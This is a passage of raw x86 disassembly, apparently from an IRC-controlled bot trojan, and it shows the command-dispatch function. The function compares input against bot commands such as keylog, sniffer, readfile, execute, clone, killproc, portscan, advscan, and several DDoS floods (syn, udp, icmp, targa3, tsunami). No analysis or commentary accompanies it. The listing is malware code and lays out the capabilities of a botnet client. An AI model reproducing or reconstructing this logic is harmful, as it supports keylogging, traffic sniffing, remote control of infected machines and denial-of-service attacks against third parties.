call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409472
push edi
push offset aDns ; "dns"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409407
push edi
push offset aDn ; "dn"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409407
push edi
push offset aKillproc ; "killproc"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4093D7
push edi
push offset aKp ; "kp"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4093D7
push edi
push offset aKill ; "kill"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409378
push edi
push offset aKi ; "ki"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409378
push edi
push offset aDelete ; "delete"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40933C
push edi
push offset aDel ; "del"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40933C
push edi
push offset aGet ; "get"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40925D
push edi
push offset aGt ; "gt"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40925D
push edi
push offset aList ; "list"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40923B
push edi
push offset aLi ; "li"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40923B
push edi
push offset aVisit ; "visit"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409147
push edi
push offset aV ; "v"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409147
push edi
push offset aMirccmd ; "mirccmd"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409110
push edi
push offset aMirc ; "mirc"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409110
push edi
push offset aCmd ; "cmd"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4090A6
push edi
push offset aCm ; "cm"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4090A6
push edi
push offset aReadfile ; "readfile"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409029
push edi
push offset aRf ; "rf"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409029
push edi
push offset aPsniff ; "psniff"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_405C7C
push [ebp+arg_10]
push offset aOn ; "on"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_405C42
push 20h
call sub_40B33F
test eax, eax
pop ecx
jle short loc_405B6C
push offset dword_42B950
jmp loc_406F05
; ---------------------------------------------------------------------------
loc_405B6C: ; CODE XREF: sub_401ACD+4093j
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_88]
mov [ebp+var_EC4], eax
mov eax, [ebp+var_4]
mov [ebp+var_E3C], eax
mov eax, [ebp+var_8]
cmp esi, ebx
mov [ebp+var_E38], eax
jnz short loc_405BAE
mov esi, offset aF_1 ; "#f"
push offset dword_43D808
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_405BAE
mov esi, [ebp+var_88]
loc_405BAE: ; CODE XREF: sub_401ACD+40C3j
; sub_401ACD+40D9j
push esi
lea eax, [ebp+var_EC0]
push 80h
push eax
call sub_41B980
add esp, 0Ch
lea eax, [ebp+var_2C4]
push offset dword_42B920
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 20h
push eax
call sub_40B0F7
add esp, 14h
mov [ebp+var_E40], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_EC4]
push ebx
push eax
push offset word_411FD6
push ebx
push ebx
call near ptr 26B0000h
nop
mov ecx, [ebp+var_E40]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_405C31
loc_405C1B: ; CODE XREF: sub_401ACD+4162j
cmp [ebp+var_E34], ebx
jnz loc_40828C
push 32h
nop
call near ptr 26A0F44h
jmp short loc_405C1B
; ---------------------------------------------------------------------------
loc_405C31: ; CODE XREF: sub_401ACD+414Cj
call near ptr 26B0857h
nop
push eax
push offset dword_42B8E4
jmp loc_4049EC
; ---------------------------------------------------------------------------
loc_405C42: ; CODE XREF: sub_401ACD+4083j
push [ebp+arg_10]
push offset aOff ; "off"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_40828C
push ebx
push 20h
call sub_40B2F2
pop ecx
cmp eax, ebx
pop ecx
jle short loc_405C72
push eax
push offset dword_42B8A8
jmp loc_4049EC
; ---------------------------------------------------------------------------
loc_405C72: ; CODE XREF: sub_401ACD+4198j
push offset dword_42B87C
jmp loc_406F05
; ---------------------------------------------------------------------------
loc_405C7C: ; CODE XREF: sub_401ACD+406Cj
push edi
push offset aSniffer ; "sniffer"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_405DCE
push [ebp+arg_10]
push offset aOn ; "on"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_405D94
push 21h
call sub_40B33F
test eax, eax
pop ecx
jle short loc_405CBE
push offset unk_42B854
jmp loc_406F05
; ---------------------------------------------------------------------------
loc_405CBE: ; CODE XREF: sub_401ACD+41E5j
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_88]
mov [ebp+var_FEC], eax
mov eax, [ebp+var_4]
mov [ebp+var_F64], eax
mov eax, [ebp+var_8]
cmp esi, ebx
mov [ebp+var_F60], eax
jnz short loc_405D00
mov esi, offset aF_1 ; "#f"
push offset dword_43D808
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_405D00
mov esi, [ebp+var_88]
loc_405D00: ; CODE XREF: sub_401ACD+4215j
; sub_401ACD+422Bj
push esi
lea eax, [ebp+var_FE8]
push 80h
push eax
call sub_41B980
add esp, 0Ch
lea eax, [ebp+var_2C4]
push offset unk_42B824
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 21h
push eax
call sub_40B0F7
add esp, 14h
mov [ebp+var_F68], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_FEC]
push ebx
push eax
push offset sub_412661
push ebx
push ebx
call near ptr 26B0000h
nop
mov ecx, [ebp+var_F68]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_405D83
loc_405D6D: ; CODE XREF: sub_401ACD+42B4j
cmp [ebp+var_F5C], ebx
jnz loc_40828C
push 32h
nop
call near ptr 26A0F44h
jmp short loc_405D6D
; ---------------------------------------------------------------------------
loc_405D83: ; CODE XREF: sub_401ACD+429Ej
call near ptr 26B0857h
nop
push eax
push offset unk_42B7E8
jmp loc_4049EC
; ---------------------------------------------------------------------------
loc_405D94: ; CODE XREF: sub_401ACD+41D5j
push [ebp+arg_10]
push offset aOff ; "off"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_40828C
push ebx
push 21h
call sub_40B2F2
pop ecx
cmp eax, ebx
pop ecx
jle short loc_405DC4
push eax
push offset unk_42B7A8
jmp loc_4049EC
; ---------------------------------------------------------------------------
loc_405DC4: ; CODE XREF: sub_401ACD+42EAj
push offset unk_42B778
jmp loc_406F05
; ---------------------------------------------------------------------------
loc_405DCE: ; CODE XREF: sub_401ACD+41BEj
push edi
push offset aIdent ; "ident"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_405EA3
push [ebp+arg_10]
push offset aOn ; "on"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_405E69
push 2
call sub_40B33F
test eax, eax
pop ecx
jle short loc_405E0C
push offset dword_42B750
jmp loc_406F05
; ---------------------------------------------------------------------------
loc_405E0C: ; CODE XREF: sub_401ACD+4333j
lea eax, [ebp+var_2C4]
push offset dword_42B724
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 2
push eax
call sub_40B0F7
add esp, 14h
mov esi, eax
lea eax, [ebp+var_10]
push eax
push ebx
push esi
push offset loc_4101FD
push ebx
push ebx
nop
call near ptr 26B0000h
imul esi, 234h
cmp eax, ebx
mov dword_43E5A4[esi], eax
jnz loc_40828C
call near ptr 26B0857h
nop
push eax
push offset dword_42B6F0
jmp loc_4049EC
; ---------------------------------------------------------------------------
loc_405E69: ; CODE XREF: sub_401ACD+4327j
push [ebp+arg_10]
push offset aOff ; "off"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_40828C
push ebx
push 2
call sub_40B2F2
pop ecx
cmp eax, ebx
pop ecx
jle short loc_405E99
push eax
push offset dword_42B6B8
jmp loc_4049EC
; ---------------------------------------------------------------------------
loc_405E99: ; CODE XREF: sub_401ACD+43BFj
push offset dword_42B698
jmp loc_406F05
; ---------------------------------------------------------------------------
loc_405EA3: ; CODE XREF: sub_401ACD+4310j
push edi
push offset aKeylog ; "keylog"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_406020
push [ebp+arg_10]
push offset aOn ; "on"
call sub_41C070
pop ecx
mov edi, offset aFile ; "file"
test eax, eax
pop ecx
jz short loc_405F19
push [ebp+arg_10]
push edi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_405F19
push [ebp+arg_10]
push offset aOff ; "off"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_40828C
push ebx
push 23h
call sub_40B2F2
pop ecx
cmp eax, ebx
pop ecx
jle short loc_405F0F
push eax
push offset dword_42B64C
jmp loc_4049EC
; ---------------------------------------------------------------------------
loc_405F0F: ; CODE XREF: sub_401ACD+4435j
push offset dword_42B620
jmp loc_406F05
; ---------------------------------------------------------------------------
loc_405F19: ; CODE XREF: sub_401ACD+4401j
; sub_401ACD+4410j
push 23h
call sub_40B33F
test eax, eax
pop ecx
jle short loc_405F2F
push offset dword_42B600
jmp loc_406F05
; ---------------------------------------------------------------------------
loc_405F2F: ; CODE XREF: sub_401ACD+4456j
mov eax, [ebp+arg_4]
push [ebp+arg_10]
mov [ebp+var_C5C], eax
mov eax, [ebp+var_4]
push edi
mov [ebp+var_BD4], eax
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_405F5C
mov [ebp+var_BD0], 1
jmp short loc_405F65
; ---------------------------------------------------------------------------
loc_405F5C: ; CODE XREF: sub_401ACD+4481j
mov eax, [ebp+var_8]
mov [ebp+var_BD0], eax
loc_405F65: ; CODE XREF: sub_401ACD+448Dj
mov esi, [ebp+esi+var_88]
cmp esi, ebx
jnz short loc_405F8C
mov esi, offset aF_0 ; "#f"
push offset dword_43D808
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_405F8C
mov esi, [ebp+var_88]
loc_405F8C: ; CODE XREF: sub_401ACD+44A1j
; sub_401ACD+44B7j
push esi
lea eax, [ebp+var_C54]
push 80h
push eax
call sub_41B980
add esp, 0Ch
lea eax, [ebp+var_2C4]
push offset dword_42B5DC
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 23h
push eax
call sub_40B0F7
add esp, 14h
mov [ebp+var_C58], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_C5C]
push ebx
push eax
push offset byte_411CF5
push ebx
push ebx
call near ptr 26B0000h
nop
mov ecx, [ebp+var_C58]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_40600F
loc_405FF9: ; CODE XREF: sub_401ACD+4540j
cmp [ebp+var_BCC], ebx
jnz loc_40828C
push 32h
nop
call near ptr 26A0F44h
jmp short loc_405FF9
; ---------------------------------------------------------------------------
loc_40600F: ; CODE XREF: sub_401ACD+452Aj
call near ptr 26B0857h
nop
push eax
push offset dword_42B5A0
jmp loc_4049EC
; ---------------------------------------------------------------------------
loc_406020: ; CODE XREF: sub_401ACD+43E5j
push edi
push offset aNet ; "net"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_406270
cmp dword_4CB724, ebx
jz short loc_40604F
cmp dword_4CB74C, ebx
jz short loc_40604F
push offset unk_42B564
jmp loc_4085D6
; ---------------------------------------------------------------------------
loc_40604F: ; CODE XREF: sub_401ACD+456Ej
; sub_401ACD+4576j
cmp [ebp+var_C], ebx
jz loc_406CDF
mov edi, [ebp+esi+var_88]
mov [ebp+arg_0], ebx
cmp edi, ebx
jz short loc_406074
push edi
push [ebp+var_C]
call sub_41B900
pop ecx
mov [ebp+arg_0], eax
pop ecx
loc_406074: ; CODE XREF: sub_401ACD+4597j
push [ebp+arg_10]
push offset aStart ; "start"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_4060C1
cmp edi, ebx
jz short loc_406095
push [ebp+arg_0]
push 3
jmp loc_406127
; ---------------------------------------------------------------------------
loc_406095: ; CODE XREF: sub_401ACD+45BCj
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_41895C
add esp, 0Ch
test eax, eax
jz short loc_4060B7
push offset unk_42B538
jmp loc_4085D6
; ---------------------------------------------------------------------------
loc_4060B7: ; CODE XREF: sub_401ACD+45DEj
push offset unk_42B518
jmp loc_4085D6
; ---------------------------------------------------------------------------
loc_4060C1: ; CODE XREF: sub_401ACD+45B8j
push [ebp+arg_10]
push offset aStop ; "stop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_4060DB
push [ebp+arg_0]
push 4
jmp short loc_406127
; ---------------------------------------------------------------------------
loc_4060DB: ; CODE XREF: sub_401ACD+4605j
push [ebp+arg_10]
push offset aPause ; "pause"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_4060F5
push [ebp+arg_0]
push 5
jmp short loc_406127
; ---------------------------------------------------------------------------
loc_4060F5: ; CODE XREF: sub_401ACD+461Fj
push [ebp+arg_10]
push offset aContinue ; "continue"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_40610F
push [ebp+arg_0]
push 6
jmp short loc_406127
; ---------------------------------------------------------------------------
loc_40610F: ; CODE XREF: sub_401ACD+4639j
push [ebp+arg_10]
push offset aDelete ; "delete"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_406139
push [ebp+arg_0]
push 1
loc_406127: ; CODE XREF: sub_401ACD+45C3j
; sub_401ACD+460Cj ...
call sub_4186C2
pop ecx
pop ecx
loc_40612E: ; CODE XREF: sub_401ACD+46A2j
; sub_401ACD+472Aj ...
push eax
push offset aS_1 ; "%s"
jmp loc_406CD0
; ---------------------------------------------------------------------------
loc_406139: ; CODE XREF: sub_401ACD+4653j
push [ebp+arg_10]
push offset aShare ; "share"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_40619E
cmp edi, ebx
jz short loc_406171
cmp [ebp+var_8FC], bl
jz short loc_40615E
push ebx
push edi
push 1
jmp short loc_406167
; ---------------------------------------------------------------------------
loc_40615E: ; CODE XREF: sub_401ACD+4689j
push [ebp+esi+var_84]
push edi
push ebx
loc_406167: ; CODE XREF: sub_401ACD+468Fj
call sub_418A99
add esp, 0Ch
jmp short loc_40612E
; ---------------------------------------------------------------------------
loc_406171: ; CODE XREF: sub_401ACD+4681j
push ebx
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_418C8F
add esp, 10h
test eax, eax
jz short loc_406194
push offset unk_42B4D0
jmp loc_4085D6
; ---------------------------------------------------------------------------
loc_406194: ; CODE XREF: sub_401ACD+46BBj
push offset unk_42B4B0
jmp loc_4085D6
; ---------------------------------------------------------------------------
loc_40619E: ; CODE XREF: sub_401ACD+467Dj
push [ebp+arg_10]
push offset aUser ; "user"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_406229
cmp edi, ebx
jz short loc_4061FC
cmp [ebp+var_8FC], bl
jz short loc_4061CF
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
push ebx
push edi
push 1
jmp short loc_4061EF
; ---------------------------------------------------------------------------
loc_4061CF: ; CODE XREF: sub_401ACD+46EEj
push [ebp+var_4]
mov esi, [ebp+esi+var_84]
cmp esi, ebx
push [ebp+var_88]
push [ebp+arg_4]
jz short loc_4061EB
push esi
push edi
push ebx
jmp short loc_4061EF
; ---------------------------------------------------------------------------
loc_4061EB: ; CODE XREF: sub_401ACD+4717j
push ebx
push edi
push 2
loc_4061EF: ; CODE XREF: sub_401ACD+4700j
; sub_401ACD+471Cj
call sub_418DB0
add esp, 18h
jmp loc_40612E
; ---------------------------------------------------------------------------
loc_4061FC: ; CODE XREF: sub_401ACD+46E6j
push ebx
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_4192E0
add esp, 10h
test eax, eax
jz short loc_40621F
push offset unk_42B490
jmp loc_4085D6
; ---------------------------------------------------------------------------
loc_40621F: ; CODE XREF: sub_401ACD+4746j
push offset unk_42B470
jmp loc_4085D6
; ---------------------------------------------------------------------------
loc_406229: ; CODE XREF: sub_401ACD+46E2j
push [ebp+arg_10]
push offset aSend ; "send"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_406266
cmp edi, ebx
jz short loc_40625C
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_419594
add esp, 10h
jmp loc_40612E
; ---------------------------------------------------------------------------
loc_40625C: ; CODE XREF: sub_401ACD+4771j
push offset unk_42B444
jmp loc_4085D6
; ---------------------------------------------------------------------------
loc_406266: ; CODE XREF: sub_401ACD+476Dj
push offset unk_42B428
jmp loc_4085D6
; ---------------------------------------------------------------------------
loc_406270: ; CODE XREF: sub_401ACD+4562j
push edi
push offset aCapture ; "capture"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408DFE
push edi
push offset aCap ; "cap"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408DFE
push edi
push offset aGethost ; "gethost"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408D0A
push edi
push offset aGh ; "gh"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408D0A
loc_4062C4: ; CODE XREF: sub_401ACD+3CBEj
; sub_401ACD+3CEDj ...
mov edi, [ebp+esi+var_88]
cmp edi, ebx
mov [ebp+arg_1C], edi
jz loc_401E94
push [ebp+arg_8]
push offset aKilllog ; "killlog"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408CF0
push [ebp+arg_8]
push offset aKl ; "kl"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408CF0
push [ebp+arg_8]
push offset aAddalias ; "addalias"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408CAD
push [ebp+arg_8]
push offset aAa ; "aa"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408CAD
push [ebp+arg_8]
push offset aPrivmsg_0 ; "privmsg"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408C58
push [ebp+arg_8]
push offset dword_42BC00
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408C58
push [ebp+arg_8]
push offset aAction ; "action"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408BEB
push [ebp+arg_8]
push offset aA ; "a"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408BEB
push [ebp+arg_8]
push offset aCycle ; "cycle"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408B87
push [ebp+arg_8]
push offset aCy ; "cy"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408B87
push [ebp+arg_8]
push offset aMode ; "mode"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408B4B
push [ebp+arg_8]
push offset aM ; "m"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408B4B
push [ebp+arg_8]
push offset aC_raw ; "c_raw"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408ADC
push [ebp+arg_8]
push offset aC_r ; "c_r"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408ADC
push [ebp+arg_8]
push offset aC_mode ; "c_mode"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408A56
push [ebp+arg_8]
push offset aC_m ; "c_m"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408A56
push [ebp+arg_8]
push offset aC_nick ; "c_nick"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4089E6
push [ebp+arg_8]
push offset aC_n ; "c_n"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4089E6
push [ebp+arg_8]
push offset aC_join ; "c_join"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4089C0
push [ebp+arg_8]
push offset aC_j ; "c_j"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4089C0
push [ebp+arg_8]
push offset aC_part ; "c_part"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40895C
push [ebp+arg_8]
push offset aC_p ; "c_p"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40895C
push [ebp+arg_8]
push offset aTarga3 ; "targa3"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408887
push [ebp+arg_8]
push offset aT3 ; "t3"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408887
push [ebp+arg_8]
push offset aTsunami ; "tsunami"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40878C
push [ebp+arg_8]
push offset aTsn ; "tsn"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40878C
push [ebp+arg_8]
push offset aRepeat ; "repeat"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408688
push [ebp+arg_8]
push offset aRp ; "rp"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408688
push [ebp+arg_8]
push offset aDelay ; "delay"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4085E9
push [ebp+arg_8]
push offset aDe ; "de"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4085E9
push [ebp+arg_8]
push offset aJpDe10 ; "jp]de10"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408458
push [ebp+arg_8]
push offset aJp10 ; "jp]10"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408458
push [ebp+arg_8]
push offset aExecute ; "execute"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4083C5
push [ebp+arg_8]
push offset aE ; "e"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4083C5
push [ebp+arg_8]
push offset aFindfile ; "findfile"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4082B6
push [ebp+arg_8]
push offset aFf ; "ff"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4082B6
push [ebp+arg_8]
push offset aRename ; "rename"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40823F
push [ebp+arg_8]
push offset aMv ; "mv"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40823F
push [ebp+arg_8]
push offset aIcmpflood ; "icmpflood"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408142
push [ebp+arg_8]
push offset aIcmp ; "icmp"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408142
mov eax, [ebp+esi+var_84]
cmp eax, ebx
mov [ebp+arg_0], eax
jz loc_401E94
push [ebp+arg_8]
push offset aClone_0 ; "clone"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40805A
push [ebp+arg_8]
push offset aC ; "c"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40805A
push [ebp+arg_8]
push offset aDdos_syn ; "ddos.syn"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407F61
push [ebp+arg_8]
push offset aDdos_ack ; "ddos.ack"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407F61
push [ebp+arg_8]
push offset aDdos_random ; "ddos.random"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407F61
push [ebp+arg_8]
push offset aWisdom_udp ; "wisdom.udp"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_4067D7
push 7Fh
lea eax, [ebp+var_327C]
pop esi
push esi
push [ebp+arg_10]
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_31FC]
push edi
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_317C]
push [ebp+arg_0]
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_30FC]
push [ebp+var_88]
push eax
call sub_41B5F0
mov eax, [ebp+var_8]
mov edi, [ebp+var_4]
mov esi, [ebp+arg_4]
mov [ebp+var_3074], eax
push ebx
lea eax, [ebp+var_2C4]
push 13h
push eax
mov [ebp+var_3078], edi
mov [ebp+var_3280], esi
call sub_40B0F7
add esp, 3Ch
mov [ebp+var_307C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3280]
push ebx
push eax
push offset byte_4146CF
push ebx
push ebx
call near ptr 26B0000h
nop
mov ecx, [ebp+var_307C]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_4067C6
loc_4067B0: ; CODE XREF: sub_401ACD+4CF7j
cmp [ebp+var_3070], ebx
jnz loc_403DA1
push 32h
nop
call near ptr 26A0F44h
jmp short loc_4067B0
; ---------------------------------------------------------------------------
loc_4067C6: ; CODE XREF: sub_401ACD+4CE1j
nop
call near ptr 26B0857h
push eax
push offset unk_42B29C
jmp loc_403D92
; ---------------------------------------------------------------------------
loc_4067D7: ; CODE XREF: sub_401ACD+4C37j
push [ebp+arg_8]
push offset aSynflood ; "synflood"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407E79
push [ebp+arg_8]
push offset aSyn ; "syn"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407E79
push [ebp+arg_8]
push offset aSkysyn ; "skysyn"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_406904
push 7Fh
lea eax, [ebp+var_36A4]
pop esi
push esi
push [ebp+arg_10]
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_3624]
push edi
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_35A4]
push [ebp+arg_0]
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_3524]
push [ebp+var_88]
push eax
call sub_41B5F0
mov eax, [ebp+var_4]
add esp, 30h
mov esi, [ebp+arg_4]
mov [ebp+var_34A0], eax
push [ebp+arg_0]
mov eax, [ebp+var_8]
mov [ebp+var_349C], eax
lea eax, [ebp+var_2C4]
push edi
mov [ebp+var_36A8], esi
push [ebp+arg_10]
push offset dword_42B254
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 10h
push eax
call sub_40B0F7
add esp, 20h
mov [ebp+var_34A4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_36A8]
push ebx
push eax
push offset byte_413627
push ebx
push ebx
nop
call near ptr 26B0000h
mov ecx, [ebp+var_34A4]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_4068F3
loc_4068DD: ; CODE XREF: sub_401ACD+4E24j
cmp [ebp+var_3498], ebx
jnz loc_407279
push 32h
nop
call near ptr 26A0F44h
jmp short loc_4068DD
; ---------------------------------------------------------------------------
loc_4068F3: ; CODE XREF: sub_401ACD+4E0Ej
nop
call near ptr 26B0857h
push eax
push offset dword_42B218
jmp loc_40726A
; ---------------------------------------------------------------------------
loc_406904: ; CODE XREF: sub_401ACD+4D49j
push [ebp+arg_8]
push offset aPhatwonk ; "phatwonk"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407D91
push [ebp+arg_8]
push offset aWonk ; "wonk"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407D91
push [ebp+arg_8]
push offset aJpldg10 ; "jpldg10"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407C53
push [ebp+arg_8]
push offset aJpl10 ; "jpl10"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407C53
push [ebp+arg_8]
push offset aRedirect ; "redirect"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407B56
push [ebp+arg_8]
push offset aRd ; "rd"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407B56
push [ebp+arg_8]
push offset aScan ; "scan"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407A63
push [ebp+arg_8]
push offset aSc ; "sc"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407A63
push [ebp+arg_8]
push offset aC_privmsg ; "c_privmsg"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40795E
push [ebp+arg_8]
push offset aC_pm ; "c_pm"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40795E
push [ebp+arg_8]
push offset aC_action ; "c_action"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407866
push [ebp+arg_8]
push offset aC_a ; "c_a"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407866
mov eax, [ebp+esi+var_80]
cmp eax, ebx
mov [ebp+arg_18], eax
jz loc_401E94
push [ebp+arg_8]
push offset aPortscan ; "portscan"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407760
push [ebp+arg_8]
push offset aPsc ; "psc"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407760
push [ebp+arg_8]
push offset aAdvscan ; "advscan"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407299
push [ebp+arg_8]
push offset aAdv ; "adv"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407299
push [ebp+arg_8]
push offset aUdpflood ; "udpflood"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407150
push [ebp+arg_8]
push offset aUdp ; "udp"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407150
push [ebp+arg_8]
push offset aU ; "u"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407150
push [ebp+arg_8]
